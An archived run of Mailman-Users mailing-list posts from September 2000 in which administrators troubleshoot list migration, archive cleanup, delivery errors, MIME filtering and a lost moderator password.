Subject: [Mailman-Users] Migrating to a new version on a different machine
Message-ID: <200009192335.QAA00761@utopia.west.sun.com>

> 	Machine A has Mailman 1.1 with many lists defined.
> 
> 	Machine B has Mailman 2.0b2 with just a test list defined.
> 
> 	How do I move the lists from Machine A to B?

I copied the lists/ and archives/ directories, and the aliases,
and if ~mailman changes, used bin/move_list, and things were
great.  YMMV.

Do it with a test list first.



From mikeraz at patch.com  Wed Sep 20 02:30:05 2000
From: mikeraz at patch.com (Michael Rasmussen)
Date: Tue, 19 Sep 2000 17:30:05 -0700 (PDT)
Subject: [Mailman-Users] db corruption?
Message-ID: <20000920003005.6BF471005@barley.patch.com>

I need to rebuild my list to work around some file corruption.  I'd like to do
this without having to delete the list and recreate the list, to save the uses
form all getting new passwords.

Is there a way?  Extracting all the user information to a list with a new name
and then reimporting it would work also...

-- 

  Michael Rasmussen - mikeraz at patch.com
 Be Appropriate && Follow Your Curiosity
 email to pager:  pagemike at patch.com


From claw at kanga.nu  Wed Sep 20 03:21:08 2000
From: claw at kanga.nu (J C Lawrence)
Date: Tue, 19 Sep 2000 18:21:08 -0700
Subject: [Mailman-Users] Postponing delivery. 
In-Reply-To: Message from Zeljko Vrba <zvrba@iskon.hr> 
   of "Tue, 19 Sep 2000 11:30:20 +0200." <20000919113020.A8715@iskon.hr> 
References: <zvrba@iskon.hr> <E13bIp2-00032o-00@rioja.localnet>  <20000919113020.A8715@iskon.hr> 
Message-ID: <13584.969412868@kanga.nu>

On Tue, 19 Sep 2000 11:30:20 +0200 
Zeljko Vrba <zvrba at iskon.hr> wrote:

> Anyway... conclusion is that mailman is good for ideal conditions:
> high speed networks with servers and DNS's always up and
> running... 

This is a general assumption in nearly all internet software, and is
reasonable and correct.  Correctly, most systems *should* assume
good connectivity as the general rule, leaving specific systems
which are sensitive in this manner, to be approriately special-cased
and configured to suit.

> It seems that none of you has tried running Mailman to serve
> people on several broken or misconfigured networks which are down
> for several months etc..

The problems you discuss are problems with your MTA configuration,
and its resilience to the DNS problems you identify.  This is not a
problem with Mailman.  This is a problem with your MTA and its
handing of poorly extalbished systems.  

To quote you (out of order):

  > There is an option to skip initial DNS query, but it had no
  > effect.

This is your MTA's problem, not Mailman's problem.  You state that
you configured your MTA to not do DNS lookups on receipts and found
that the configuration didn't work.  Either you misconfigured your
MTA or your MTA is broken.  Both are possible.  The point is however
that it is your MTA doing the DNS lookups, not Mailman.  Pointing
the finger of blame at Mailman in this case is just as effective
(and correct) as pointing the finger at my cat.  

As previous responses to you have pointed out, correctly mind you,
fix and suitably configure your MTA.  That is the correct point of
attack and resolution.  

-- 
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---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From claw at kanga.nu  Wed Sep 20 03:25:31 2000
From: claw at kanga.nu (J C Lawrence)
Date: Tue, 19 Sep 2000 18:25:31 -0700
Subject: [Mailman-Users] from address. 
In-Reply-To: Message from Brian Beers <bdbeers@digiscents.com> 
   of "Tue, 19 Sep 2000 16:14:32 PDT." <47578F4CE585D311A85D009027D6024137F6A7@DIGISCENTSNT> 
References: <47578F4CE585D311A85D009027D6024137F6A7@DIGISCENTSNT> 
Message-ID: <13886.969413131@kanga.nu>

On Tue, 19 Sep 2000 16:14:32 -0700 
Brian Beers <bdbeers at digiscents.com> wrote:

> Can the from address be changed to something more "aesthetically"
> pleasing?  I have a marketing moron in need of readjustment.

Mind explaining your question?

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From claw at kanga.nu  Wed Sep 20 03:22:44 2000
From: claw at kanga.nu (J C Lawrence)
Date: Tue, 19 Sep 2000 18:22:44 -0700
Subject: [Mailman-Users] Postponing delivery. 
In-Reply-To: Message from Nigel Metheringham <Nigel.Metheringham@VData.co.uk> 
   of "Tue, 19 Sep 2000 10:57:21 BST." <E13bK9R-0003Kw-00@rioja.localnet> 
References: <E13bK9R-0003Kw-00@rioja.localnet> 
Message-ID: <13696.969412964@kanga.nu>

On Tue, 19 Sep 2000 10:57:21 +0100 
Nigel Metheringham <Nigel.Metheringham at VData.co.uk> wrote:

> However, in this case, I can't help but think of a saying I heard
> last week paraphrased to sendmail rather than a certain OS - "A
> computer without sendmail is like a dog without bricks tied to its
> head".

<kof>

Subtle.

(I like it)

-- 
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---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From bdbeers at digiscents.com  Wed Sep 20 03:27:33 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Tue, 19 Sep 2000 18:27:33 -0700
Subject: [Mailman-Users] from address. 
Message-ID: <47578F4CE585D311A85D009027D6024137F6AA@DIGISCENTSNT>

When you hide the posters email address as the sender, it puts in
owner-listname.  Is this the only option?

Brian D. Beers
Consultant 
Digiscents.com, Inc.
bdbeers at digiscents.com

-----Original Message-----
From: J C Lawrence [mailto:claw at kanga.nu]
Sent: Tuesday, September 19, 2000 6:26 PM
To: Brian Beers
Cc: 'mailman-users at python.org'
Subject: Re: [Mailman-Users] from address. 

On Tue, 19 Sep 2000 16:14:32 -0700
Brian Beers <bdbeers at digiscents.com> wrote:

> Can the from address be changed to something more "aesthetically"
> pleasing?  I have a marketing moron in need of readjustment.

Mind explaining your question?

--
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From Dan.Mick at West.Sun.COM  Wed Sep 20 03:52:15 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 18:52:15 -0700 (PDT)
Subject: [Mailman-Users] from address. 
Message-ID: <200009200151.SAA05962@utopia.west.sun.com>

I'm not sure what else you would put there, but it's all done in
Handlers/Cleanse.py, so at least you can hack that.

I suspect that From defaults to GetAdminEmail() simply because
there doesn't seem to be a much better choice (with the possible
exception of "GetListEmail()", perhaps).

> When you hide the posters email address as the sender, it puts in
> owner-listname.  Is this the only option?
> 
> Brian D. Beers
> Consultant 
> Digiscents.com, Inc.
> bdbeers at digiscents.com
> 
> -----Original Message-----
> From: J C Lawrence [mailto:claw at kanga.nu]
> Sent: Tuesday, September 19, 2000 6:26 PM
> To: Brian Beers
> Cc: 'mailman-users at python.org'
> Subject: Re: [Mailman-Users] from address. 
> 
> On Tue, 19 Sep 2000 16:14:32 -0700
> Brian Beers <bdbeers at digiscents.com> wrote:
> 
> > Can the from address be changed to something more "aesthetically"
> > pleasing?  I have a marketing moron in need of readjustment.
> 
> Mind explaining your question?
> 
> --
> J C Lawrence                                 Home: claw at kanga.nu
> ---------(*)                               Other: coder at kanga.nu
> http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
> --=| A man is as sane as he is dangerous to his environment |=--
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From bdbeers at digiscents.com  Wed Sep 20 04:12:02 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Tue, 19 Sep 2000 19:12:02 -0700
Subject: [Mailman-Users] Line length.
Message-ID: <47578F4CE585D311A85D009027D6024137F6AB@DIGISCENTSNT>

The text length is cutting off at 77 characters, can this be changed?


From Dan.Mick at West.Sun.COM  Wed Sep 20 04:14:37 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 19:14:37 -0700 (PDT)
Subject: [Mailman-Users] Line length.
Message-ID: <200009200213.TAA06352@utopia.west.sun.com>

<sigh>  Once again, Brian, you're going to have to be somewhat
more specific.  What text?  What length?  What's "cutting off"
mean?

> The text length is cutting off at 77 characters, can this be changed?



From albie at alfarrabio.um.geira.pt  Wed Sep 20 09:01:53 2000
From: albie at alfarrabio.um.geira.pt (Alberto Manuel Brandao Simoes)
Date: Wed, 20 Sep 2000 08:01:53 +0100
Subject: [Mailman-Users] Stupid bug?
In-Reply-To: <200009192149.OAA25882@utopia.west.sun.com>
References: <200009192149.OAA25882@utopia.west.sun.com>
Message-ID: <20000920080153.A3875@alfarrabio.um.geira.pt>

On Tue, Sep 19, 2000 at 02:50:58PM -0700, Dan Mick wrote:
( Not sure I believe "too big"; perhaps there's some other problem
( with the alias.  Note the "To:" address below:
( 

	The interesting thing is that with does not work with STMPDirect, but
it works (at least, that point) with SendMail module!

	Regards

		Alberto
-- 
 Alberto Manuel Brand?o Sim?es                     /\ ||_ o _
 albie at alfarrabio.um.geira.pt                     /--\||_)((/_
 http://numexp.sourceforge.net


From benoit.moeremans at net7.be  Wed Sep 20 10:41:30 2000
From: benoit.moeremans at net7.be (Benoit Moeremans)
Date: Wed, 20 Sep 2000 10:41:30 +0200
Subject: [Mailman-Users] refencer list
Message-ID: <6E4122B84050D411838500508BD6A19502398A@relayint.advalvas.be>

Hi, 
One of my clients has changed the domain in another domain, and it's no
possible for him from the website to subscribe on the mailing list. I want
to know how and where can i add the new domain? 
Thnx

Benoit Moeremans
Net7 Support Team support at net7.be  Tel. 02/216.54.51 Member of the AdValvas
Group




From S.W.Lay at ucles-red.cam.ac.uk  Wed Sep 20 14:53:34 2000
From: S.W.Lay at ucles-red.cam.ac.uk (Steve Lay)
Date: Wed, 20 Sep 2000 13:53:34 +0100
Subject: [Mailman-Users] Hwo to flush the archives?
In-Reply-To: <47578F4CE585D311A85D009027D6024137F68B@DIGISCENTSNT>
References: <47578F4CE585D311A85D009027D6024137F68B@DIGISCENTSNT>
Message-ID: <a0500190cb5ee5efbd1ab@[195.102.198.134]>

Brian asked:

>Is there a way to remove all the messages from an/the archive?

This is the sort of question which is often asked on this forum, but rarely
answered fully.  It's a sort of FAQ - mailman keeps the messages in "mbox"
files with paths like this:

......mailman/archives/private/listname.mbox/listname.mbox

Note the "private" - public archives are handled with symbolic links to the
private directory.

The format of the mbox file is supposed to be the classic UNIX mailbox
format.  On my Red Hat Linux system the files can be read with the UNIX
'mail' command executed in the appropriate directory as follows:

mail -f listname.mbox

It's quite safe to do this just to look at the file if you exit mail with
'x' for exit without modifying mailbox.

Although I've never done this, trashing this file completely should achieve
what you want, if it's only selected messages you want to delete you can do
this too of course (see the man page for mail).

You will have to regenerate the archives, the commands to do this have been
circulated to the list before - I can't remember them off the top of my
head.

The problem *I've* had is that mailman (1.1) doesn't quite follow the
expected format of the mbox file.  This is all about lines beginning with
"From " which should be escaped but aren't.  The result is that 'mail' gets
very confused - that shouldn't affect you if you just want to trash
everything but it does affect my lists where one poster in particular tends
to start his messages "From X's point of view...".

The "how do I delete unwanted messages from the archive?" FAQ is normally
dealt with tersely but I've never seen these instructions on the list nor
have I seen anybody suggest a workaround for this "From" escape problem.

Steve Lay



From ste at research.bell-labs.com  Wed Sep 20 15:02:01 2000
From: ste at research.bell-labs.com (Shaun T. Erickson)
Date: Wed, 20 Sep 2000 09:02:01 -0400
Subject: [Mailman-Users] Hwo to flush the archives?
References: <47578F4CE585D311A85D009027D6024137F68B@DIGISCENTSNT> <a0500190cb5ee5efbd1ab@[195.102.198.134]>
Message-ID: <39C8B549.DEEF1F86@research.bell-labs.com>

Steve Lay wrote:
> 
> The "how do I delete unwanted messages from the archive?" FAQ is normally
> dealt with tersely but I've never seen these instructions on the list nor
> have I seen anybody suggest a workaround for this "From" escape problem.

I would like to see such instructions. I am brand new to Mailman (1.1),
and have found that several virus-laden messages are in the archives and
I would like to selective delete those messages.

	-ste


From kadlec at sunserv.kfki.hu  Wed Sep 20 15:08:42 2000
From: kadlec at sunserv.kfki.hu (Kadlecsik Jozsi)
Date: Wed, 20 Sep 2000 15:08:42 +0200 (MET DST)
Subject: [Mailman-Users] How to re-create the archive (list.mbox)?
Message-ID: <Pine.GSO.4.21.0009201503190.9532-100000@sunserv.kfki.hu>

Hello,

Somehow I managed to corrupt the mbox file of one of our mailing list
so that it contents are lost before a given date, but all the *.txt,
*.html files are intact. 

The problem is that the older (corresponding parts are missing from mbox)
parts are not displayed on the web pages of the archive.

Is there an existing method to re-create the mbox file from the txt/html
files?

Regards,
Jozsef
--
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PGP key: finger kadlec at sunserv.kfki.hu | WWW: http://www.kfki.hu/~kadlec
Address: KFKI Research Institute for Particle and Nuclear Physics
         H-1525 Budapest 114, POB. 49, Hungary



From alex at phred.org  Wed Sep 20 17:24:57 2000
From: alex at phred.org (alex wetmore)
Date: Wed, 20 Sep 2000 08:24:57 -0700
Subject: [Mailman-Users] Questions from a prosepective user
References: <01c401c02287$499b0780$1401a8c0@sarah> <p04330126b5ed987dee1b@[17.216.27.207]>
Message-ID: <028001c02316$eff4e2b0$5bf83b9d@redmond.corp.microsoft.com>

From: "Chuq Von Rospach" <chuqui at plaidworks.com>
> At 3:16 PM -0700 9/19/00, Sarah K. Miller wrote:
> >I read through the FAQ and documentation but couldn't find the
answers to my
> >questions there. Does Mailman allow for blocking HTML and
attachments?
>
> you need to use an external filter to do this.

http://www.phred.org/~alex/stripmime.pl is an external filter which I've
written to do this.  It will work with most any Unix mailing list
software.  I've been running it on my lists for 8 or 9 months now with
no issues and many happy users.  It strips a MIME message down to have
only the text/plain and text/quoted-printable (which it cleans into
plaintext) parts.  HTML and binaries are stripped, and the resulting
message is not MIME.

Implementation is simple -- just put it in the pipe before mailman in
your /etc/aliases file.  Here is an example:
internet-bob:
"|/usr/local/bin/stripmime.pl|/usr2/local/mailman/mail/wrapper post
internet-bob"

The filter takes MIME as input and spits out plaintext.  It is written
in Perl and fairly simple if you find the need to change it at all.

Other similar filters appear on freshmeat.net occasionally.

alex



From bdbeers at digiscents.com  Wed Sep 20 18:57:00 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Wed, 20 Sep 2000 09:57:00 -0700
Subject: [Mailman-Users] Hwo to flush the archives?
Message-ID: <47578F4CE585D311A85D009027D6024137F6B2@DIGISCENTSNT>

I worked this one out myself.

I deleted all the files in the archive directory, leaving the directory
names themselves.

My list name is joker.

cd /$prefix/archive/joker
rm *

cd /$prefix/archive/joker.mbox
rm *

Now, if you try to examine the archives you will get an error (in the web
UI).  When you post another message, it will recreate the archive and you
can browse it.

NOTE:  I am running 2.0 b5.


-----Original Message-----
From: Steve Lay [mailto:S.W.Lay at ucles-red.cam.ac.uk]
Sent: Wednesday, September 20, 2000 5:54 AM
To: Brian Beers
Cc: mailman-users at python.org
Subject: Re: [Mailman-Users] Hwo to flush the archives?

Brian asked:

>Is there a way to remove all the messages from an/the archive?

This is the sort of question which is often asked on this forum, but rarely
answered fully.  It's a sort of FAQ - mailman keeps the messages in "mbox"
files with paths like this:

......mailman/archives/private/listname.mbox/listname.mbox

Note the "private" - public archives are handled with symbolic links to the
private directory.

The format of the mbox file is supposed to be the classic UNIX mailbox
format.  On my Red Hat Linux system the files can be read with the UNIX
'mail' command executed in the appropriate directory as follows:

mail -f listname.mbox

It's quite safe to do this just to look at the file if you exit mail with
'x' for exit without modifying mailbox.

Although I've never done this, trashing this file completely should achieve
what you want, if it's only selected messages you want to delete you can do
this too of course (see the man page for mail).

You will have to regenerate the archives, the commands to do this have been
circulated to the list before - I can't remember them off the top of my
head.

The problem *I've* had is that mailman (1.1) doesn't quite follow the
expected format of the mbox file.  This is all about lines beginning with
"From " which should be escaped but aren't.  The result is that 'mail' gets
very confused - that shouldn't affect you if you just want to trash
everything but it does affect my lists where one poster in particular tends
to start his messages "From X's point of view...".

The "how do I delete unwanted messages from the archive?" FAQ is normally
dealt with tersely but I've never seen these instructions on the list nor
have I seen anybody suggest a workaround for this "From" escape problem.

Steve Lay


From dmunoz at meyersgroup.com  Wed Sep 20 19:46:38 2000
From: dmunoz at meyersgroup.com (Douglas Munoz)
Date: Wed, 20 Sep 2000 10:46:38 -0700
Subject: [Mailman-Users] Error posting to list
Message-ID: <NEBBILDLMKELNOGMJOLEGEAOCIAA.dmunoz@meyersgroup.com>

I just set up Mailman 2.0 Beta2 and created the "test" list. Everything
seems to be working fine, but when I try and post to the list at
test at foo.bar, I get a mail error stating that the user is unknown. Is this a
sendmail issue or Mailman?



From thomas at ifi.uio.no  Wed Sep 20 19:55:20 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 20 Sep 2000 19:55:20 +0200
Subject: [Mailman-Users] Editing the posting
In-Reply-To: Chuq Von Rospach <chuqui@plaidworks.com>'s message of Sun, 17
        Sep 2000 17:01:25 -0700
References: <MM.969230122.15647.solva@ifi.uio.no>
        <p04330112b5eb0b9204ed@[209.239.169.197]>
Message-ID: <MM.969472520.24769.solva@ifi.uio.no>

>> How can I get a copy of a posting that I do not approve?

> Use the "preserve posting" checkbox on the approval page.

Where on the approval page is that supposed to be?  I can't see it
anywhere on the page.

Thomas Gramstad
thomas at ifi.uio.no
"Closed source is like a car with the hood welded shut."
                                         -- Phil Hughes,
 http://www2.linuxjournal.com/articles/conversations/018.html


From thomas at ifi.uio.no  Wed Sep 20 20:07:19 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 20 Sep 2000 20:07:19 +0200
Subject: [Mailman-Users] Retrieving moderator password
Message-ID: <MM.969473239.24769.solva@ifi.uio.no>

One of my lists has two moderators and now my co-moderator has
forgotten his moderator password.  How can he get it back?

First he tried the password that he can get e-mailed to him via
the subscription page, but that's clearly a different password,
used only for un/sub.cribing.  (How can these passwords be made
the same -- automatically -- so that he only needs to think about
one password?)

Then we tried that I removed him as a moderator, and then
reinstated him, thinking that Mailman would then send him the (or
a new) moderator password.  No such luck.  Mailman remembered him,
and has apparently decided that he only gets his password exactly
once in his lifetime... unless there is some other solution...
(I should add that my co-moderator isn't sloppy with passwords --
he kept it in an encrypted file, but then his PC crashed and the
file was lost.  Of course that's what happens when one uses a PC
with Microsoft, but still...)

Thomas Gramstad
thomas at ifi.uio.no


From ckolar at admin.aurora.edu  Wed Sep 20 20:13:15 2000
From: ckolar at admin.aurora.edu (Christopher Kolar)
Date: Wed, 20 Sep 2000 13:13:15 -0500
Subject: [Mailman-Users] usenet gateway and crossposting
Message-ID: <5.0.0.25.2.20000920131007.028a9dd0@admin.aurora.edu>

Hello everyone.  I was wondering if the usenet gateway feature can be used 
to cross post to multiple news groups.  Does the standard cross post format
	group.one,group.two
function for this value, will it only take one group, or does it use 
something non-standard (comma space, space) as part of the list?  Thanks in 
advance,

--chris



From curtin at ptc.com  Wed Sep 20 21:14:01 2000
From: curtin at ptc.com (Michael Curtin)
Date: Wed, 20 Sep 2000 15:14:01 -0400
Subject: [Mailman-Users] internal error
Message-ID: <39C90C79.8FE68A4A@ptc.com>

I get a server Error page indicating "This server has encountered an
internal error which prevents it from fulfilling your request. The most
likely cause is a misconfiguration. Please ask the administrator to look

for messages in the server's error log."  Using Netscape 4.7 and a
"the page cannot be displayed" with a HTTP 550 error in IE 5.5.

Had others try with a similar version and they worked FINE....

Any thoughts on how my configuration would be different which would
cause the page to be not accessible?  Using mailman version 1.0
Thanks


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From dgreer at austintx.com  Wed Sep 20 22:04:27 2000
From: dgreer at austintx.com (Donald L Greer Jr.)
Date: Wed, 20 Sep 2000 15:04:27 -0500
Subject: [Mailman-Users] Patches against beta5 for bug 111843
Message-ID: <39C9184B.4DB30561@austintx.com>

  Does anyone on this list have a patch against beta5 to fix the
infinate resend problem noted in bug#111843
(http://sourceforge.net/bugs/?func=detailbug&bug_id=111843&group_id=103).

  I had a customer just get bitten by this (he's not real happy as you
might imagine) and I need to fix it ASAP.
  Thanks.
  Don

--
--------------------------------------------------------
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System Administrator                 Voice: 512-835-8005
AustinTX.COM                    http://www.AustinTX.COM/
  All opinions are my own.  Flame me directly.

"I don't necessarily believe software should be free...
but if you pay for it, it should work!" -- Me




From lra at insite.com.br  Wed Sep 20 22:44:54 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 17:44:54 -0300 (EST)
Subject: [Mailman-Users] internal error
In-Reply-To: <39C90C79.8FE68A4A@ptc.com>
Message-ID: <Pine.LNX.4.21.0009201705190.14619-100000@fantomas.insite.com.br>

Hi Michael,

Look at your webserver error log and see what he has to tell you.

On Wed, 20 Sep 2000, Michael Curtin wrote:

> I get a server Error page indicating "This server has encountered an
> internal error which prevents it from fulfilling your request. The most
> likely cause is a misconfiguration. Please ask the administrator to look
> 
> for messages in the server's error log."  Using Netscape 4.7 and a
> "the page cannot be displayed" with a HTTP 550 error in IE 5.5.
> 
> Had others try with a similar version and they worked FINE....
> 
> Any thoughts on how my configuration would be different which would
> cause the page to be not accessible?  Using mailman version 1.0
> Thanks
> 
> 
> 




From lra at insite.com.br  Wed Sep 20 22:47:02 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 17:47:02 -0300 (EST)
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: <MM.969473239.24769.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009201745080.14619-100000@fantomas.insite.com.br>

You can change the moderator password at the web interface, but the only
time it is sent out is at list creation, AFAIK

On Wed, 20 Sep 2000, Thomas Gramstad wrote:

> One of my lists has two moderators and now my co-moderator has
> forgotten his moderator password.  How can he get it back?
> 
> First he tried the password that he can get e-mailed to him via
> the subscription page, but that's clearly a different password,
> used only for un/sub.cribing.  (How can these passwords be made
> the same -- automatically -- so that he only needs to think about
> one password?)
> 
> Then we tried that I removed him as a moderator, and then
> reinstated him, thinking that Mailman would then send him the (or
> a new) moderator password.  No such luck.  Mailman remembered him,
> and has apparently decided that he only gets his password exactly
> once in his lifetime... unless there is some other solution...
> (I should add that my co-moderator isn't sloppy with passwords --
> he kept it in an encrypted file, but then his PC crashed and the
> file was lost.  Of course that's what happens when one uses a PC
> with Microsoft, but still...)
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From callinma at gse.harvard.edu  Wed Sep 20 22:52:01 2000
From: callinma at gse.harvard.edu (Peggy Callinan)
Date: Wed, 20 Sep 2000 16:52:01 -0400
Subject: [Mailman-Users] attachment problem on Solaris 2.6
Message-ID: <EXECMAIL.1000920165201.D@gsegx1.gse.harvard.edu>

I've installed Mailman2.0beta5 on Sparc Solaris 2.6 with Python 1.5.2. 
I'm having a problem with the delivery of attachments. It seems to 
handle smaller attachments (say, <=1M)fine, and I've verified that the 
MTA isn't the problem (handles large attachments to non-list addresses 
with no problem). I've created a test list with one subscriber and I 
find that the admin web page hangs while delivery is pending and 
eventually times out with a "Document contains no data" message. 

Even after delivery to subscriber (say after a 30-45 minute delay), the
.msg and .db files remain in the qfiles directory. I'm assuming that's 
because archiving is pending, but I'm not really clear about that. 
After I delete those files as well as the locks, I'm then able to 
access the admin web page. I've included the relevant entry from the 
error log below. Does anyone have any idea if and how I can correct 
this behavior. Thanks,

The error log contains the following traceback message (in part):

Sep 20 10:22:30 2000 admin(24173): @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
admin(24173): [----- Mailman Version: 2.0beta5 -----]
admin(24173): [----- Traceback ------]
admin(24173): Traceback (innermost last):
admin(24173):   File "/export/home/mailman/scripts/driver", line 96, in run_main
admin(24173):     main()
admin(24173):   File "../Mailman/Cgi/admin.py", line 136, in main
admin(24173):     mlist.Save()
admin(24173):   File "/export/home/mailman/Mailman/MailList.py", line 833, in Save
admin(24173):     self.__lock.refresh()
admin(24173):   File "/export/home/mailman/Mailman/LockFile.py", line 204, in refresh
admin(24173):     raise NotLockedError
admin(24173): NotLockedError: 
admin(24173): [----- Python Information -----]
admin(24173): sys.version    = 1.5.2 (#1, Feb 18 2000, 00:56:30)  [GCC 2.95.2 19991024 (release)]
admin(24173): sys.executable = /usr/local/bin/python
admin(24173): sys.prefix     = /usr/local
admin(24173): sys.exec_prefix= /usr/local
admin(24173): sys.path       = /usr/local
admin(24173): sys.platform   = sunos5
admin(24173): [----- Environment Variables -----]

 



From thomas at ifi.uio.no  Wed Sep 20 23:35:00 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 20 Sep 2000 23:35:00 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Wed,
        20 Sep 2000 17:47:02 -0300 (EST)
References: <Pine.LNX.4.21.0009201745080.14619-100000@fantomas.insite.com.br>
Message-ID: <MM.969485700.27572.solva@ifi.uio.no>

> You can change the moderator password at the web interface,

But that requires that you first provide the old password,
does it not?  (Which he doesn't have.)

> but the only time it is sent out is at list creation, AFAIK

No, also when a new moderator is added (who is not or has never
been a moderator of another list at the same site).

Thomas Gramstad
thomas at ifi.uio.no

--

> On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> 
> > One of my lists has two moderators and now my co-moderator has
> > forgotten his moderator password.  How can he get it back?
> > 
> > First he tried the password that he can get e-mailed to him via
> > the subscription page, but that's clearly a different password,
> > used only for un/sub.cribing.  (How can these passwords be made
> > the same -- automatically -- so that he only needs to think about
> > one password?)
> > 
> > Then we tried that I removed him as a moderator, and then
> > reinstated him, thinking that Mailman would then send him the (or
> > a new) moderator password.  No such luck.  Mailman remembered him,
> > and has apparently decided that he only gets his password exactly
> > once in his lifetime... unless there is some other solution...
> > (I should add that my co-moderator isn't sloppy with passwords --
> > he kept it in an encrypted file, but then his PC crashed and the
> > file was lost.  Of course that's what happens when one uses a PC
> > with Microsoft, but still...)
> > 
> > Thomas Gramstad
> > thomas at ifi.uio.no
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users


From lra at insite.com.br  Wed Sep 20 23:42:06 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 18:42:06 -0300 (EST)
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: <MM.969485700.27572.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009201840560.14619-100000@fantomas.insite.com.br>

If you still have the mailman global-master-super-duper-power password,
you can use it anywhere a password is required and change a list moderator
password this way.

On Wed, 20 Sep 2000, Thomas Gramstad wrote:

> > You can change the moderator password at the web interface,
> 
> But that requires that you first provide the old password,
> does it not?  (Which he doesn't have.)
> 
> > but the only time it is sent out is at list creation, AFAIK
> 
> No, also when a new moderator is added (who is not or has never
> been a moderator of another list at the same site).
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> --
> 
> > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > 
> > > One of my lists has two moderators and now my co-moderator has
> > > forgotten his moderator password.  How can he get it back?
> > > 
> > > First he tried the password that he can get e-mailed to him via
> > > the subscription page, but that's clearly a different password,
> > > used only for un/sub.cribing.  (How can these passwords be made
> > > the same -- automatically -- so that he only needs to think about
> > > one password?)
> > > 
> > > Then we tried that I removed him as a moderator, and then
> > > reinstated him, thinking that Mailman would then send him the (or
> > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > and has apparently decided that he only gets his password exactly
> > > once in his lifetime... unless there is some other solution...
> > > (I should add that my co-moderator isn't sloppy with passwords --
> > > he kept it in an encrypted file, but then his PC crashed and the
> > > file was lost.  Of course that's what happens when one uses a PC
> > > with Microsoft, but still...)
> > > 
> > > Thomas Gramstad
> > > thomas at ifi.uio.no
> > > 
> > > ------------------------------------------------------
> > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > http://www.python.org/mailman/listinfo/mailman-users
> 



From thomas at ifi.uio.no  Wed Sep 20 23:52:40 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 20 Sep 2000 23:52:40 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Wed,
        20 Sep 2000 18:42:06 -0300 (EST)
References: <Pine.LNX.4.21.0009201840560.14619-100000@fantomas.insite.com.br>
Message-ID: <MM.969486760.27572.solva@ifi.uio.no>

> If you still have the mailman global-master-super-duper-power
> password, you can use it anywhere a password is required and
> change a list moderator password this way.

That would be something that the people who installed Mailman
at the server at the university have, right?  I've never even
heard of such a password.  And I don't have access to the
server where all the system files are.

Are you telling me that there is nothing I can do as a list
administrator if my co-moderator loses his moderator password
(and nothing he can do), other than asking the university
computer staff to change and/or send the password to him?

Thomas Gramstad
thomas at ifi.uio.no

--

> On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> 
> > > You can change the moderator password at the web interface,
> > 
> > But that requires that you first provide the old password,
> > does it not?  (Which he doesn't have.)
> > 
> > > but the only time it is sent out is at list creation, AFAIK
> > 
> > No, also when a new moderator is added (who is not or has never
> > been a moderator of another list at the same site).
> > 
> > Thomas Gramstad
> > thomas at ifi.uio.no
> > 
> > --
> > 
> > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > 
> > > > One of my lists has two moderators and now my co-moderator has
> > > > forgotten his moderator password.  How can he get it back?
> > > > 
> > > > First he tried the password that he can get e-mailed to him via
> > > > the subscription page, but that's clearly a different password,
> > > > used only for un/sub.cribing.  (How can these passwords be made
> > > > the same -- automatically -- so that he only needs to think about
> > > > one password?)
> > > > 
> > > > Then we tried that I removed him as a moderator, and then
> > > > reinstated him, thinking that Mailman would then send him the (or
> > > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > > and has apparently decided that he only gets his password exactly
> > > > once in his lifetime... unless there is some other solution...
> > > > (I should add that my co-moderator isn't sloppy with passwords --
> > > > he kept it in an encrypted file, but then his PC crashed and the
> > > > file was lost.  Of course that's what happens when one uses a PC
> > > > with Microsoft, but still...)
> > > > 
